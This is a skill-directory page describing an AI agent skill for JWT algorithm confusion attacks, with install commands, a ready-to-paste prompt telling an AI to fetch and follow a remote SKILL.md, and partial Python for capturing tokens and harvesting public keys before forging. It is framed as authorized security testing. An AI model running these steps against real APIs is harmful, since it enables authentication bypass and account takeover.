Skip to content
Skillpedia
Misc35k · #5749

exploiting-jwt-algorithm-confusion-attack

Has your agent exploit JWT algorithm confusion attacks, such as downgrading RS256 to HS256.

What it does

This code attempts to trick a JWT token authentication system. It does this by changing how the token is signed so it can be accepted even when it shouldn't be.

When to use it

  • ✓When you are testing the security of a system that uses JWT tokens with the RS256 algorithm.
  • ✓To check if the system accepts tokens without a valid signature (alg:none).
  • ✓To test if the system uses the wrong public key to verify the signature.

Example of what to ask your AI

“Try to trick the system into accepting a modified JWT token.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

It takes a valid JWT token, changes the signing algorithm to a weaker one (like HS256), and uses the system's public key as the secret to sign it. If the system doesn't verify correctly, it will accept the fake token.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-jwt-algorithm-confusion-attack

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Exploiting JWT Algorithm Confusion Attack

When to Use

  • Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
  • Assessing JWT implementations for alg:none bypass where the server skips signature verification
  • Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
  • Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
  • Validating that the API server enforces a specific algorithm and does not trust the JWT header

Do not use without written authorization. JWT exploitation can lead to authentication bypass and account takeover.

Prerequisites

  • Written authorization specifying the target API and JWT-based authentication in scope
  • A valid JWT token from the target API (obtained through legitimate authentication)
  • The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
  • Python 3.10+ with PyJWT, cryptography, and requests libraries
  • jwt_tool for automated JWT attack testing
  • Burp Suite with JWT Editor extension

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: JWT Token Analysis

import base64
import json
import requests
import hmac
import hashlib
import time

BASE_URL = "https://target-api.example.com/api/v1"

# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")

# Decode JWT parts
def decode_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    def pad(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
    return header, payload, parts[2]

header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")

Step 2: Obtain the Public Key

from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate

# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
    jwks = jwks_resp.json()
    print(f"JWKS keys found: {len(jwks.get('keys', []))}")
    for key in jwks['keys']:
        print(f"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")

    # Extract RSA public key from JWKS
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.backends import default_backend

    rsa_key = jwks['keys'][0]  # First key
    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
    public_key = RSAPublicNumbers(e, n).public_key(default_backend())
    public_key_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")

# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
    jwks_uri = oidc_resp.json().get('jwks_uri')
    print(f"JWKS URI from OIDC config: {jwks_uri}")

# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
    resp = requests.get(f"{BASE_URL}{path}")
    if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
        print(f"Public key found at: {path}")

Step 3: Algorithm Confusion Attack (RS256 to HS256)

def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
    """
    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.

…
FAQ

What is a JWT token?

It's a small piece of information used to authenticate users on web systems, like a digital access pass.

What are RS256 and HS256?

They are different 'recipes' (algorithms) for signing and verifying JWT tokens. RS256 is more secure than HS256.

Why is using the public key as a secret dangerous?

Because the public key should only be for verifying, not signing. Using it as a secret allows anyone to create valid tokens.

Details

Original description by the author

Exploits JWT algorithm confusion where the server's verification library trusts the alg named in the token header, by switching RS256 to HS256 (signing with the RSA public key as HMAC secret), setting alg to none, or injecting kid/jku/x5u headers to supply an attacker-controlled key. Use when testing RS256 JWT auth for algorithm downgrade, alg:none bypass, or key-confusion signature forgery.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#5749
License
Apache-2.0
Updated
8/31/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills